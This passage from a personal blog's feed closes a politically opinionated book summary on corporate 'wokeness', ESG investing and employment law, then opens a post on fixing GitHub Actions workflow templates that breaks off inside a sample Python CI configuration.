<a href="https://www.investopedia.com/terms/c/cy-pres-doctrine.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cy pres Doctrine</a> allows lawyers and judges to redirect class-action lawsuit money to their favorite charities. Corporations love it as this is a PR victory for them. As most lawyers are usually liberal, these donations end up in liberal causes. In 2019, in a lawsuit against Google, the settlement of 8.5 Million dollars   
    
    
<a href="https://www.bizjournals.com/sanjose/news/2019/03/21/google-privacy-settlement-scotus.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">went</a> to charities and alma maters associated with Google and the lawyers.</li>
<li>In 2021, the Biden administration&rsquo;s Department of Justice   
    
    
<a href="https://www.insidehighered.com/admissions/article/2021/02/08/affirmative-action-case-against-yale-dropped?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">dropped</a> the lawsuit against Yale for discriminating against Asians.</li>
</ol>
<h3 id="esg">ESG</h3>
<p>When ESG (environmental, social, and governance) investors reject anti-ESG stocks (&ldquo;sin stocks&rdquo;) like mining stocks it reduces demand for those stocks. So, someone else owns them at a lower price. And those acquiring sin stock are rewarded even more with better returns. ESG-focused funds, being constrained, end up performing worse than funds that aren&rsquo;t constrained to invest only in ESG. The only useful argument in favor of ESG investing is that it increases the cost of capital for sinful companies by making them un-investable for at least a segment of investors.</p>
<ol>
<li>Al Gore   
    
    
<a href="https://www.wsj.com/articles/capitalism-after-the-coronavirus-11593470102?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">claimed</a> that &ldquo;Voluminous research has shown conclusively that businesses properly integrating ESG factors into their plans are typically more successful and profitable.&rdquo; The wiggle room for the argument was of course made by adding &ldquo;properly&rdquo; to the remark, so that, any underperforming company can be made to claim to do ESG improperly.</li>
<li>Bank of America research   
    
    
<a href="https://www.yahoo.com/news/esg-investing-beat-market-part-194405037.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">claimed</a> that &ldquo;the equities of companies that index higher on ESG factors outperform those that do not over the past five years.&rdquo; This might as well be a symptom of an ESG asset bubble rather than actual corporate performance. Most analyses in this space are cherry-picked or circular. And the ESG performance claims are mixed at best.</li>
<li>Credit Suisse observed that Dow Jones Sustainability Index underperformed S&amp;P 500 by about 20% from 2010-2019. Its volatility was similar to S&amp;P 500. So, ESG assets underperformed on a risk-adjusted basis as well.</li>
<li>Low-expense passive funds like Vanguard are taking market share away from high-expense actively managed funds like Blackrock. Hence, Blackrock is launching ESG funds to maintain its profits.</li>
<li>There might be an ESG asset bubble brewing given how much capital is flowing into it. Similar to how capital piled into home loans in 2008. Good fundraising strategies are not always good investment strategies.</li>
<li>Big businesses loved tackling the liberal government&rsquo;s issues like climate change and racial inequality. In lieu, they got the promise of no regulations.</li>
</ol>
<h3 id="wokeness-in-consumerism">Wokeness in Consumerism</h3>
<p>Woke consumers crave justice. But Wendy&rsquo;s has only burgers to offer. So, Wendy&rsquo;s tries to tie justice and burgers together. <strong>Our political beliefs influence our sandwich choice and hence, the sandwich makers are taking a political stand to attract customers!</strong></p>
<p>Corporations used to convince you that buying their stuff makes you cool. Now, they tell you buying it will make you good. It is OK to let slick PR people define what&rsquo;s cool. It is not OK to let them define what&rsquo;s good for society. Consumers have gone from being rebellious (who act as if they cared about nothing) to woke (who act as if they care about everything).</p>
<p>Wokeness might appear as virtue signaling but most of it is about identity signaling. Now liberals buy from Starbucks. And conservatives are slowly flocking to Black Rifle Coffee Company. Further, being woke allowed an entire generation of privileged kids, studying in Ivy League colleges, to blame their privilege as some form of the sin they got from their affluent parents.</p>
<ol>
<li>By 2011, the class-based struggle of Occupy Wall Street starts to be displaced by a race and gender-focused struggle. Woke culture eroded Occupy Wall Street movement from the inside. Wall street offered money to woke inquisitors. Wokeness offered moral righteousness in return. It was a match.</li>
<li>In 2020, after the CEO of   
    
    
<a href="https://www.nbcnews.com/news/latino/goya-food-s-ceo-said-u-s-blessed-have-trump-n1233392?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Goya Foods</a>, the largest Hispanic own brand in the US, supported then-President Trump, liberals boycotted it. Conservatives flocked to purchase it.</li>
<li>In 2020, after Senator Purdue intentionally mispronounced Kamala Harris&rsquo;s first name. It led to a   
    
    
<a href="https://www.businessinsider.com/perdue-chicken-faces-backlash-after-sen-david-perdue-mispronounces-kamala-2020-10?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">boycott</a> of a completely unrelated company Purdue Chicken.</li>
<li>In 2020, responding to woke consumers, Yelp added a   
    
    
<a href="https://www.foodandwine.com/news/yelp-racist-business-alert?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">racist behavior</a> alert for restaurants and businesses. It is one thing for a consumer to go to a different restaurant. It is another to stand outside a restaurant and yell at others not to visit that restaurant. The racist behavior label enables the latter.</li>
<li>Playing politics through boycotts is a rich man&rsquo;s game. The more money you have, the more impact your boycott makes. In the marketplace of goods, &ldquo;One dollar = one vote&rdquo; is acceptable. But woke consumers extend an a-dollar-a-vote to the marketplace of ideas. And the more things money can buy, the more inequality   
    
    
<a href="https://www.livemint.com/Opinion/ZjuVbw1lK4lq4liqMCNl7I/What-money-should-not-buy.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">extends</a> to other spheres of life. Hence, the <strong>wealthy end up controlling society&rsquo;s values.</strong></li>
</ol>
<h3 id="solutions">Solutions</h3>
<ol>
<li>Don&rsquo;t fight wokeness directly. Instead, build a vision for an American identity that dilutes wokeism to irrelevance. Mandate civic service for high schools during America&rsquo;s unusually large summer breaks. Further, a long summer   
    
    
<a href="https://www.brookings.edu/research/summer-learning-loss-what-is-it-and-what-can-we-do-about-it/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">discriminates</a> against racial minorities who can&rsquo;t afford activities for the kids. A national service will create a sense of shared identity and purpose. This will make kids empathize with real issues and make them less flimsy capitalists later in life. This will burst elitist Marxist bubbles even before they have a chance to form. This will also eliminate the informal segregation based on class and party. This already happens in countries like Israel and Singapore.</li>
<li>Section 230 repeal might ensure that no upstart would reach the scale of an incumbent. <strong>A better solution would be to require that a company that chooses to be bound by section 230 must be bound by the first amendments.</strong> The courts have   
    
    
<a href="https://www.mtsu.edu/first-amendment/article/444/norwood-v-harrison?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">said</a> that when the government uses private companies to do their job, the first amendment automatically applies, one can argue that that&rsquo;s the case with the government offering Section 230 to private companies. The courts have also said that if a government&rsquo;s comment can be interpreted as a threat then that&rsquo;s government co-opting the task. Comments of the Democrats to regulate social media unless they censor content is a clear enough threat by those definitions.</li>
<li>From a legal standpoint, wokeness is a religion. Therefore, both those who practice wokeness have legal protection and those who don&rsquo;t have legal protection from woke employers. Thus, existing law provides legal protection to those fighting for their non-woke views.
<ol>
<li>Via the   
    
    
<a href="https://en.wikipedia.org/wiki/Civil_Rights_Act_of_1964?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Civil rights Act</a> of 1964, American society has already agreed that discrimination by private companies based on race, color, religion, sex, or national origin is illegal. Should we add political views to the list? If we don&rsquo;t then companies firing someone over political views, send a signal that a person&rsquo;s political views are inferior. But it is unrealistic that this will happen in the political climate of 2021.</li>
<li>This can be solved without legislation. For example, &ldquo;sexual orientation&rdquo; wasn&rsquo;t part of the original wording of the Civil Rights Act. But the Supreme court   
    
    
<a href="https://en.wikipedia.org/wiki/Bostock_v._Clayton_County?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">decided</a> that in the year 2020, our understanding of discrimination includes sexual orientation even if it was not considered one in 1964.   
    
    
<a href="https://www.eeoc.gov/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">EEOC</a> guidance on   
    
    
<a href="https://www.eeoc.gov/statutes/title-vii-civil-rights-act-1964?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Title 7</a> interprets that &ldquo;lack of a religion&rdquo; is equivalent to religion as well. So, just a catholic employee is protected from stating &ldquo;a marriage is between a man and a woman&rdquo;, so, is a non-religious employee protected from stating the exact belief even if it is not rooted in religion?</li>
<li>Seeger objected to the military draft on a moral basis, in 1964, the court   
    
    
<a href="https://www.oyez.org/cases/1964/50?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">agreed</a> that this was equivalent to a religious belief. This was further confirmed in the   
    
    
<a href="https://www.mtsu.edu/first-amendment/article/241/welsh-v-united-states?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Welsh</a> case in 1970. In another   
    
    
<a href="https://law.justia.com/cases/federal/district-courts/FSupp2/205/1014/2332160/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">case</a>, a man with white supremacist beliefs claimed to be a follower of the &ldquo;Religion of creativity&rdquo;. He was demoted based on an interview outside his job. The Supreme court ruled in his favor as he didn&rsquo;t do anything at work.</li>
<li>Because of these court decisions, EEOC has made it clear that <strong>any belief that is sincerely held by a possessor in a place filled by God is a religious belief</strong>. By this definition, wokeness is a religion.</li>
<li>In 1997, the court   
    
    
<a href="https://casetext.com/case/venters-v-city-of-delphi?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">decided</a> that an employer cannot enforce its religious beliefs on an employee. So, James Damore can use this logic to claim that Google firing him was about Google imposing its woke beliefs on him. In fact, in 2020, EEOC   
    
    
<a href="https://www.jdsupra.com/legalnews/new-york-federal-court-approves-52840/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ruled</a> that employees objecting to a program stating &ldquo;choice not chance determines happiness&rdquo; are protected.</li>
</ol>
</li>
<li>Critical Diversity Theory - To achieve true diversity of thoughts
<ol>
<li>Define what type of diversity of thoughts is valuable</li>
<li>Measure for the diversity of thoughts</li>
<li>Select for the diversity of thoughts when hiring</li>
<li>Institutional Purpose, Institutional Pluralism, separation of corporation and state.</li>
</ol>
</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Common pitfalls of GitHub Actions</title><link href="https://ashishb.net/programming/common-pitfalls-of-github-actions/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/how-to-add-a-new-formula-to-homebrew-package-manager/?utm_source=atom_feed" rel="related" type="text/html" title="How to add a new formula to homebrew package manager"/><link href="https://ashishb.net/programming/how-to-setup-go-packages-under-monorepo/?utm_source=atom_feed" rel="related" type="text/html" title="How to setup Go packages under monorepo"/><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Always show toasts on the background thread"/><link href="https://ashishb.net/programming/how-to-deploy-docker-images-on-microsoft-azure/?utm_source=atom_feed" rel="related" type="text/html" title="How to deploy Docker images on Microsoft Azure"/><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="related" type="text/html" title="End-to-end testing of mobile apps"/><id>https://ashishb.net/programming/common-pitfalls-of-github-actions/</id><author><name>Ashish Bhatia</name></author><published>2023-03-18T16:00:04+00:00</published><updated>2023-03-18T16:00:04+00:00</updated><content type="html"><![CDATA[<blockquote>The ultimate guide on how to improve your GitHub Actions</blockquote><table>
  <thead>
      <tr>
          <th></th>
          <th></th>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>  
    
    
<a href="https://www.pointer.io/archives/634fdbe4a9/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Pointer.io" loading="lazy" src="/programming/common-pitfalls-of-github-actions/pointer.io-badge.svg"></a></td>
          <td>  
    
    
<a href="https://pythonhub.dev/digest/2023-04-16/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="PythonHub" loading="lazy" src="/img/python-hub-badge.svg"></a></td>
          <td>  
    
    
<a href="https://www.pythonweekly.com/p/python-weekly-issue-595-april-6-2023?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Python Weekly" loading="lazy" src="/programming/common-pitfalls-of-github-actions/python-weekly-badge.svg"></a></td>
          <td>  
    
    
<a href="https://github.com/ashishb/gabo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="GitHub Repo stars" loading="lazy" src="https://img.shields.io/github/stars/ashishb/gabo?style=plastic&label=GitHub%20Stars"></a></td>
      </tr>
  </tbody>
</table>
<p>If you create GitHub Actions via GitHub&rsquo;s UI by going to the URL of the form <code>https://github.com/&lt;username&gt;/&lt;reponame&gt;/actions/new</code>, it provides templates for setting up the build. However, the template is broken.</p>
<p>There are four problems with the default template</p>
<ol>
<li>No dependency caching - so package dependencies will be resolved and reinstalled every time</li>
<li>No cancelation of stale executions - If you pushed a commit and before the tests finish, you decide to push another commit then the stale commits are not canceled. Rather they continue executing!</li>
<li>No path filtering - So a change to README will trigger the execution of, for example, linters and tests!</li>
<li>No timeouts - Rogue tests can run forever   
    
    
<a href="https://stackoverflow.com/questions/59073731/set-default-timeout-on-github-action-pipeline?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">leading</a> to resource exhaustion</li>
<li>Bad security permissions - the default   
    
    
<a href="https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">GITHUB_TOKEN</a> gives too many permissions. With the recent attacks on   
    
    
<a href="https://blog.yossarian.net/2024/12/06/zizmor-ultralytics-injection?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ultranalytics</a> and   
    
    
<a href="https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tj-actions-changed-files</a>, these attacks are no longer a theortical possibility. Few understand the security model though.</li>
</ol>
<p>All these are fixable.</p>
<ol>
<li>
<p>Dependency caching is language-specific - see the directions in the   
    
    
<a href="https://github.com/actions/cache?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">actions/cache</a> repository.</p>
</li>
<li>
<p>Canceling stale executions is easy. Just add</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                YAML
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-YAML" data-lang="YAML"><span style="display:flex;"><span><span style="color:#268bd2">concurrency</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">group</span>: ${{ github.workflow }}-${{ github.ref }}
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">cancel-in-progress</span>: <span style="color:#cb4b16">true</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Path filtering requires knowing the right dependencies but it is not hard. For example, for a job linting Python files, it will be <code>**.py</code></p>
</li>
<li>
<p>A reasonable job-level timeout makes sense. Look at the past execution and put a limit of 2X based on that. For example, if a job takes 5 minutes on average, <code>timeout-minutes: 10</code> limits the job to 10 minutes.</p>
</li>
</ol>
<p>Let&rsquo;s consider a simple template that GitHub generates for building Python code and improving it.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                YAML
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">40
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-YAML" data-lang="YAML"><span style="display:flex;"><span><span style="color:#586e75"># Template generated by GitHub</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># This workflow will install Python dependencies, run tests and lint with a single version of Python</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">name</span>: Python application
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">on</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">push</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">branches</span>: [ <span style="color:#2aa198">&#34;master&#34;</span> ]
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">pull_request</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">branches</span>: [ <span style="color:#2aa198">&#34;master&#34;</span> ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">permissions</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">contents</span>: read
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">jobs</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">build</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">runs-on</span>: ubuntu-latest
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">steps</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#268bd2">uses</span>: actions/checkout@v3
</span></span><span style="display:flex;"><span>    - <span style="color:#268bd2">name</span>: Set up Python 3.10
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">uses</span>: actions/setup-python@v3
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">with</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">python-version</span>: <span style="color:#2aa198">&#34;3.10&#34;</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#268bd2">name</span>: Install dependencies
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">run</span>: |<span style="color:#2aa198">
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        python -m pip install --upgrade pip
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        pip install flake8 pytest
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        if [ -f requirements.txt ]; then pip install -r requirements.txt; fi</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#268bd2">name</span>: Lint with flake8
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">run</span>: |<span style="color:#2aa198">
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        # stop the build if there are Python syntax errors or undefined names
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
